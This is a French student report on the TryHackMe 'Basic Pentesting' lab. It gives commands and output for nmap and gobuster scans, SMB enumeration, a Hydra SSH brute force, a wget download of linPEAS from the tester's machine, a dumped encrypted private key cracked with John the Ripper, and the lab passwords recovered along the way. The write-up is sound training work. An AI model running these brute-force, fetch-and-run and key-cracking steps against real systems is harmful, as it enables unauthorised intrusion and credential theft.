

Esirem Informatique & Réseaux **options : Sécurité et Qualités Réseaux**

Rapport de pentest - Projet 3A

TryHackMe : Basic Pentesting

Auteurs :
HUBERT Matéo, BOUQUILLON Erwan, SOULAIROL Lilian

Professeur référent :
BEZE Alexandre



POLYTECH[®]
DIJON

2023-2024

Table des matières

1	Objectif	3
1.1	Compétences requises	3
1.2	Objectif final du CTF	3
2	Reconnaissance	4
2.1	Nmap	4
2.2	gobuster	4
2.3	enum4linux	6
2.4	smbclient	7
3	Exploitation	8
3.1	THC Hydra	8
4	Escalade de Privilège	9
4.1	linPEAS	9
4.2	John the Ripper	12

1 Objectif

1.1 Compétences requises

Ce CTF est réalisé sous l'environnement [KaliLinux](#) tournant sur [Oracle VM virtualbox](#) et cible la machine [BasicPentesting](#) trouvable sur le site de [TryHackMe](#). Les compétences requises pour arriver à mener ce CTF sont :

- L'attaque brute force qui consiste à tester, l'une après l'autre, chaque combinaison possible d'un mot de passe ou d'une clé pour un identifiant donné afin se connecter au service ciblé.

- Le craquage de hash. Ces fonctions sont principalement destinées à coder des données pour former une seule chaîne de caractères. Tout cela quelle que soit la quantité de données initialement entrées dans la fonction. Ces fonctions servent à garantir l'authenticité des données, à stocker en toute sécurité les mots de passe et à signer des documents électroniques.

- L'énumération de service qui est un processus qui consiste à accéder aux services qui tournent derrière les ports ouverts, découverts lors du scanning, afin d'obtenir plus d'informations sur la cible.

- L'énumération système a pour but de d'exposer toutes les failles potentielles en fonction de l'importance dans le but d'une escalade de privilèges.

1.2 Objectif final du CTF

L'objectif final de ce CTF est de trouver le mot de passe de l'utilisateur kay afin d'avoir un accès complet à la machine. Pour se faire on va utiliser une partie de la technique Cyber Kill Chain qui nous vient du domaine militaire et qui décompose les attaques en 7 phases. Cependant du à la simplicité de ce challenge, nous allons utiliser uniquement 3 étapes qui sont les suivantes :

- La reconnaissance afin de récupérer un maximum d'informations sur la ou les victimes comme par exemple les technologies utilisées, les ports ouverts, les utilisateurs, les versions des services actifs etc... L'objectif de cette phase est d'identifier des vulnérabilités que l'on pourra potentiellement exploiter dans la phase suivante afin de déterminer le meilleur vecteur d'attaque.

- L'exploitation, dans cette partie, on va essayer de tirer profit de la phase de reconnaissance afin d'exploiter les différentes failles pour mettre un premier pied dans la machine ou les machines cibles.

- La phase d'escalade de privilège a pour but de renforcer l'accès initiale ou de trouver d'autre chemin pour se connecter à la machine. On souhaite également obtenir le plus de privilège pour avoir accès au plus de contenu possible voir de pivoter sur une autre machine.

2 Reconnaissance

2.1 Nmap

Pour commencer la phase de reconnaissance nous allons utiliser l'outil [Nmap](#) pour scanner tous les ports ouverts ainsi que les services qui tournent dessus.

```
(kali@kali)~[~/THM/BasicPentesting]
$ nmap -A -p- -v -oA basic_pentesting_nmap 10.10.226.104
```

Nous utilisons les options -A pour détecter la versions des services qui tournent sur la cible, détecter le système d'exploitation de la cible le tout en utilisant un script d'énumération classique. L'option -p- sert à scanner tous les ports TCP. L'option -v pour que nmap listes au fur et à mesure les ports trouvés ainsi que l'option -oA pour enregistrer les résultats du scan dans tout les formats possible sous le nom de basic_pentesting_nmap sans oublier l'adresse IP de la cible.

```
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   2048 db45cbb4a8b71f8e93142aefff845e4 (RSA)
|   256  09b9b91ce0bf0e1c6f7ffe8e5f201bce (ECDSA)
|   256  a5682b225f984a62213da2e2c5a9f7c2 (ED25519)
80/tcp    open  http         Apache httpd 2.4.18 ((Ubuntu))
|_ http-server-header: Apache/2.4.18 (Ubuntu)
|_ http-methods:
|_   Supported Methods: GET HEAD POST OPTIONS
|_ http-title: Site doesn't have a title (text/html).
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8009/tcp   open  ajp13        Apache Jserv (Protocol v1.3)
|_ ajp-methods:
|_   Supported methods: GET HEAD POST OPTIONS
8080/tcp   open  http         Apache Tomcat 9.0.7
|_ http-title: Apache Tomcat/9.0.7
|_ http-methods:
|_   Supported Methods: GET HEAD POST OPTIONS
|_ http-favicon: Apache Tomcat
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Après la fin de l'exécution du script, on peut voir qu'un server http tourne sur le port 80. Allons donc voir à quoi il ressemble ainsi que le code source afin de voir si l'on trouve une information utile.

Undergoing maintenance

Please check back later

```
1 <html>
2
3 <h1>Undergoing maintenance</h1>
4
5 <h4>Please check back later</h4>
6
7 <!-- Check our dev note section if you need to know what to work on. -->
8
9
10 </html>
11
```

2.2 gobuster

On peut voir que le site n'est pas très intéressant cependant dans le code source on peut voir un commentaire qui parle d'une section de note développeur. On peut donc penser que le site cache d'autres informations. Pour essayer de trouver des informations supplémentaires nous allons utiliser

le logiciel [gobuster](#). Ce logiciel va prendre en entrée un dictionnaire et comme pour un mot de passe va essayer tout les mots du dictionnaire et chercher si il n'y a pas une page internet qui correspond à ce nom la. C'est ce que l'on appelle du directory brutforce.

```
(kali@kali) - [~/THM/BasicPentesting]
$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,txt,html -u http://10.10.226.04

Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://10.10.226.104
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Extensions: php,txt,html
[+] Timeout: 10s




2023/08/10 17:37:15 Starting gobuster in directory enumeration mode
```

On utilise l'option dir pour le mettre en mode directory. L'option -w sert à indiquer quelle dictionnaire utilisé en précisant le chemin jusqu'au fichier. Ensuite la fonction -x pour lui donner les extensions de fichiers recherchés puis l'option -u pour spécifier l'adresse ou rechercher.

```
/.html (Status: 403) [Size: 291]
/index.html (Status: 200) [Size: 158]
/development (Status: 301) [Size: 316]
```

On voit qu'il y a un /development ce qui nous rappelle la note du code source. Si l'on rajoute le /development à l'adresse du server http on trouve ceci :

Index of /development

Name	Last modified	Size	Description
 Parent Directory		-	
 dev.txt	2018-04-23 14:52	483	
 j.txt	2018-04-23 13:10	235	

Voici le fichier dev.txt :

```
2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat to host that on this server too. Haven't made any real web apps yet, but I have tried that example you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm using version 2.5.12, because other versions were giving me trouble. -K

2018-04-22: SMB has been configured. -K

2018-04-21: I got Apache set up. Will put in our content later. -J
```

Le fichier dev.txt nous parle de la version d'Apache ainsi que de SMB.

Voici le fichier j.txt

```
For J:

I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials, and I was able to crack your hash really easily. You know our password policy, so please follow it? Change that password ASAP.

-K
```

Le fichier j.txt nous apprend que le mot de passe de J est très facile à cracker.

```

Host script results:
|_ clock-skew: mean: 1h20m00s, deviation: 2h18m33s, median: 0s
|_ smb2-security-mode:
|   311:
|     Message signing enabled but not required
|_ smb2-time:
|   date: 2023-08-10T08:35:41
|   start_date: N/A
|_ nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
|_ Names:
|   BASIC2<00>          Flags: <unique><active>
|   BASIC2<03>          Flags: <unique><active>
|   BASIC2<20>          Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   WORKGROUP<00>       Flags: <group><active>
|   WORKGROUP<1d>       Flags: <unique><active>
|   WORKGROUP<1e>       Flags: <group><active>
|_ smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: basic2
|   NetBIOS computer name: BASIC2\x00
|   Domain name: \x00
|   FQDN: basic2
|   System time: 2023-08-10T04:35:41-04:00
|_ smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_ message_signing: disabled (dangerous, but default)

```

Comme nous pouvons le voir sur l'image ci dessus, le nom de la machine cible est basic2.

```

$ cat /etc/hosts
127.0.0.1    localhost
127.0.1.1    kali.kalilinux  kali
10.10.226.104 basic2

```

Nous allons donc renseigner dans le fichier hosts l'adresse IP avec l'alias afin de ne pas avoir à rentrer l'adresse IP à chaque fois.

```

PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   2048 db45cbb4a8b71f8e93142aefff845e4 (RSA)
|   256 09b9b91ce0bf0e1c6f7ffe8e5f201bce (ECDSA)
|_ 256 a5682b225f984a62213da2e2c5a9f7c2 (ED25519)
80/tcp    open  http         Apache httpd 2.4.18 ((Ubuntu))
|_ http-server-header: Apache/2.4.18 (Ubuntu)
|_ http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_ http-title: Site doesn't have a title (text/html).
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8009/tcp   open  ajp13        Apache Jserv (Protocol v1.3)
|_ ajp-methods:
|_ Supported methods: GET HEAD POST OPTIONS
8080/tcp   open  http         Apache Tomcat 9.0.7
|_ http-title: Apache Tomcat/9.0.7
|_ http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_ http-favicon: Apache Tomcat
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

```

2.3 enum4linux

Comme on peut le voir, il y a des service smb qui tourne sur la machine. On va donc pouvoir utiliser [enum4linux](#) qui va nous permettre de faire de l'énumération automatiser.

```

(kalilinux@kali)~[THM/BasicPentesting]
$ enum4linux basic2
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu Aug 10 10:
37:13 2023

```

Il suffit de spécifier la cible pour que le programme se lance.

```

      Sharename      Type      Comment
      ----
      Anonymous      Disk
      IPC$           IPC       IPC Service (Samba Server 4.3.11-Ubuntu)
Reconnecting with SMB1 for workgroup listing.

      Server          Comment
      ----
      Workgroup        Master
      WORKGROUP        BASIC2

[+] Attempting to map shares on basic2
//basic2/Anonymous      Mapping: OK Listing: OK Writing: N/A

```

On peut voir que des partages sont disponibles notamment Anonymous qui a pu être mappé et listé ce qui veut dire qu'on peut certainement y accéder même sans avoir de compte.

```

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\kay (Local User)
S-1-22-1-1001 Unix User\jan (Local User)

```

Le script a réussi à faire du brut force sur les SID et nous liste donc 2 utilisateurs.

Si l'on regarde sur des sites comme [exploit-db](#), on voit que les versions des logiciels listés par Nmap n'ont pas d'exploit utilisable. On a donc le choix entre cracké un mot de passe ou regarde le partage Anonymous. Commençons par regarder le partage Anonymous. Pour cela nous allons utiliser [smbclient](#).

2.4 smbclient

```

(kalilinux@kali)~[/THM/BasicPentesting]
$ smbclient \\\basic2\Anonymous\
Password for [WORKGROUP\kalilinux]:
Try "help" to get a list of possible commands.
smb: \> dir
.                D           0   Thu Apr 19 19:31:20 2018
..               D           0   Thu Apr 19 19:13:06 2018
staff.txt        N          173  Thu Apr 19 19:29:55 2018

      14318640 blocks of size 1024. 11061172 blocks available
smb: \> get staff.txt
getting file \staff.txt of size 173 as staff.txt (1,2 KiloBytes/sec) (average 1,2 KiloBytes/sec)
smb: \> exit

(kalilinux@kali)~[/THM/BasicPentesting]
$ cat staff.txt
Announcement to staff:

PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)

-Kay

```

On voit que même sans le mot de passe nous pouvons nous connecter au partage. Nous utilisons la commande dir pour lister ce que se trouve dans le partage. Puis nous récupérons le fichier staff.txt et enfin nous l'affichons. Nous n'avons rien trouvé d'important nous allons donc essayer de casser le mot de passe de jan. Nous passons donc à la phase d'exploitation.

3 Exploitation

3.1 THC Hydra

Pour casser le mot de passe de jan nous allons utiliser l'outil [THC Hydra](#). Hydra est un outil qui permet de faire du brut force sur une multitude de service comme le FTP, le SSH, des formulaires HTTP etc...

```
(kalilinux@kali)-[~]
└─$ hydra -l jan -P /usr/share/wordlists/rockyou.txt basic2 ssh
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret serv
ice organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics any
way).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-08-10 11:08:35
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the
tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tr
ies per task
[DATA] attacking ssh://basic2:22/
[STATUS] 156.00 tries/min, 156 tries in 00:01h, 14344244 to do in 1532:31h, 14 active
[STATUS] 113.33 tries/min, 340 tries in 00:03h, 14344060 to do in 2109:26h, 14 active
[STATUS] 102.29 tries/min, 716 tries in 00:07h, 14343684 to do in 2337:12h, 14 active
[22][ssh] host: basic2 login: jan password: armando
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-08-10 11:16:43
```

Nous allons donc utiliser hydra pour le ssh, avec l'option -l nous spécifions le nom d'utilisateur ici jan. L'option -P pour lui indiquer le dictionnaire. On spécifie ensuite la cible et en dernier le type de service visé en l'occurrence ssh. Après plusieurs minutes, nous voyons que le mot de passe ssh est armando.

Essayons de nous connecté via ssh à jan pour être sur que l'on à le bon mot de passe :

```
(kalilinux@kali)-[~]
└─$ ssh jan@basic2
The authenticity of host 'basic2 (10.10.226.104)' can't be established.
ED25519 key fingerprint is SHA256: XKjDkLKocbzjCch0Tpriw1PeLPuzDufTGZa4xMDA+o4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'basic2' (ED25519) to the list of known hosts.
jan@basic2's password:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)
```

On voit que nous sommes connecté, le mot de passe est donc correct. Passons donc à la phase 3.

4 Escalade de Privilège

4.1 linPEAS

Dans cette partie, nous allons utiliser [linPEAS](#) qui est un script simple qui va vérifier un ensemble de vecteur d'escalade de privilèges.

Pour utiliser le script sur la machine de jan nous allons créer un serveur http sur le port 80 de notre machine avec python :

```
(kalilinux@kali)-[~/THM/BasicPentesting]
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

```
jan@basic2:/home$ wget http://10.18.93.6/linpeas.sh
--2023-08-10 05:33:35-- http://10.18.93.6/linpeas.sh
Connecting to 10.18.93.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 836755 (817K) [text/x-sh]
linpeas.sh: Permission denied

Cannot write to 'linpeas.sh' (Success).
jan@basic2:/home$ cd /tmp
jan@basic2:/tmp$ wget http://10.18.93.6/linpeas.sh
--2023-08-10 05:34:03-- http://10.18.93.6/linpeas.sh
Connecting to 10.18.93.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 836755 (817K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh          100%[=====>] 817.14K  478KB/s   in 44s

2023-08-10 05:34:47 (18.5 KB/s) - 'linpeas.sh' saved [836755/836755]
jan@basic2:/tmp$ chmod +x linpeas.sh
```

Ensuite, il suffit simplement de se rendre sur la machine de jan et de récupérer le fichier linpeas.sh. Comme on peut le voir, jan n'a pas la permission d'écrire dans /home, nous nous rendons donc dans le répertoire /tmp où jan a les droits d'écriture puis nous récupérons le fichier. Nous rajoutons ensuite les droits d'exécution du fichier et le lançons :

```
jan@basic2:/tmp$ ./linpeas.sh

Systeme de
Repertoire
p, Neo...
ix has yea
white rabb
knock...
brave-br...
test

Do you like PEASS?

Get the latest version : https://github.com/sponsors/carlospolop
Follow on Twitter      : @hacktricks_live
Respect on HTB         : SirBroccoli

Thank you!

linpeas-ng by carlospolop

ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's permission.

Linux Privesc Checklist: https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist

LEGEND:
RED/YELLOW: 95% a PE vector
RED: You should take a look to it
LightCyan: Users with console
Blue: Users without console & mounted devs
Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs)
LightMagenta: Your username

Starting linpeas. Caching Writable Folders ...
```

Comme nous pouvons le voir, linePEAS utilise un système de couleur pour classer les différentes failles.

```

-rw-r--r-- 1 kay kay 3326 Apr 19 2018 /home/kay/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4, ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75
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
-----END RSA PRIVATE KEY-----

```

Nous voyons ici qu'il y a une faille assez importante sur la clef SSH particulièrement sur le fichier `id_rsa` qui permet de se connecter à une machine sans fournir de mot de passe.

```

(kalilinux@kali)-[~/THM/BasicPentesting]
$ vim id_rsa

(kalilinux@kali)-[~/THM/BasicPentesting]
$ chmod 600 id_rsa

```

4.2 John the Ripper

Nous ajoutons la clef SSH sur la machine attaquante et changeons les droits pour ne pas que l'accès au fichier nous soit refusé. Comme on peut le voir, la clef est chiffré. Nous allons donc craquer la clef en utilisant [John the Ripper](#).

```
(kalilinux@kali)-[~/THM/BasicPentesting]
$ curl -L https://raw.githubusercontent.com/openwall/john/bleeding-jumbo/run/ssh2john.py > ssh2john.py
```

% Total	% Received	% Xferd	Average Speed	Time	Time	Time	Current
			Dload	Upload	Total	Spent	Left
100	9677	100	9677	0	0	34427	0
						--:--:--	--:--:--
						--:--:--	--:--:--
						--:--:--	34560

Il suffit de récupérer le script permettant de convertir un clef SSH chiffré en un fichier crackable par l'outil John the Ripper. On ajoute le droit d'exécution au script puis on l'utilise sur notre fichier `id_rsa` afin d'obtenir le fichier `id_rsa.hash` qui peut être donné à l'outil John the Ripper comme suit :

```
(kalilinux@kali)-[~/THM/BasicPentesting]
$ chmod +x ssh2john.py

(kalilinux@kali)-[~/THM/BasicPentesting]
$ python3 ssh2john.py id_rsa > id_rsa.hash
```

```
(kalilinux@kali)-[~/THM/BasicPentesting]
$ john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
Created directory: /home/kalilinux/.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax (id_rsa)
1g 0:00:00:00 DONE (2023-08-10 11:48) 25.00g/s 2068Kp/s 2068Kc/s 2068Kc/s bettyboop123..bambino1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

On peut voir ci dessus que le mot de passe à bien été découvert.

```
jan@basic2:/home$ cd kay
jan@basic2:/home/kay$ cd .ssh/
jan@basic2:/home/kay/.ssh$ dir
authorized_keys id_rsa id_rsa.pub
jan@basic2:/home/kay/.ssh$ ssh -i id_rsa kay@basic2
Could not create directory '/home/jan/.ssh'.
The authenticity of host 'basic2 (127.0.1.1)' can't be established.
ECDSA key fingerprint is SHA256:+Fk53V/LB+2pn40PL7GN/DuVHVv00LT9N4W5ifchySQ.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/home/jan/.ssh/known_hosts).
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)
```

On voit bien que le mot de passe fonctionne pour se connecter en ssh avec kay.

```

Last login: Mon Apr 23 16:04:07 2018 from 192.168.56.102
kay@basic2:~$ ls
pass.bak
kay@basic2:~$ ls -la
total 48
drwxr-xr-x 5 kay kay 4096 Apr 23 2018 .
drwxr-xr-x 4 root root 4096 Apr 19 2018 ..
-rw-r--r-- 1 kay kay 756 Apr 23 2018 .bash_history
-rw-r--r-- 1 kay kay 220 Apr 17 2018 .bash_logout
-rw-r--r-- 1 kay kay 3771 Apr 17 2018 .bashrc
drwxr-xr-x 2 kay kay 4096 Apr 17 2018 .cache
-rw-r--r-- 1 root kay 119 Apr 23 2018 .lessht
drwxr-xr-x 2 kay kay 4096 Apr 23 2018 .nano
-rw-r--r-- 1 kay kay 57 Apr 23 2018 pass.bak
-rw-r--r-- 1 kay kay 655 Apr 17 2018 .profile
drwxr-xr-x 2 kay kay 4096 Apr 23 2018 .ssh
-rw-r--r-- 1 kay kay 0 Apr 17 2018 .sudo_as_admin_successful
-rw-r--r-- 1 root kay 538 Apr 23 2018 .viminfo
kay@basic2:~$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$$

```

On voit également qu'il y a le fichier pass.bak et que l'on a directement les droits pour le lire. On affiche donc le mot de passe de kay.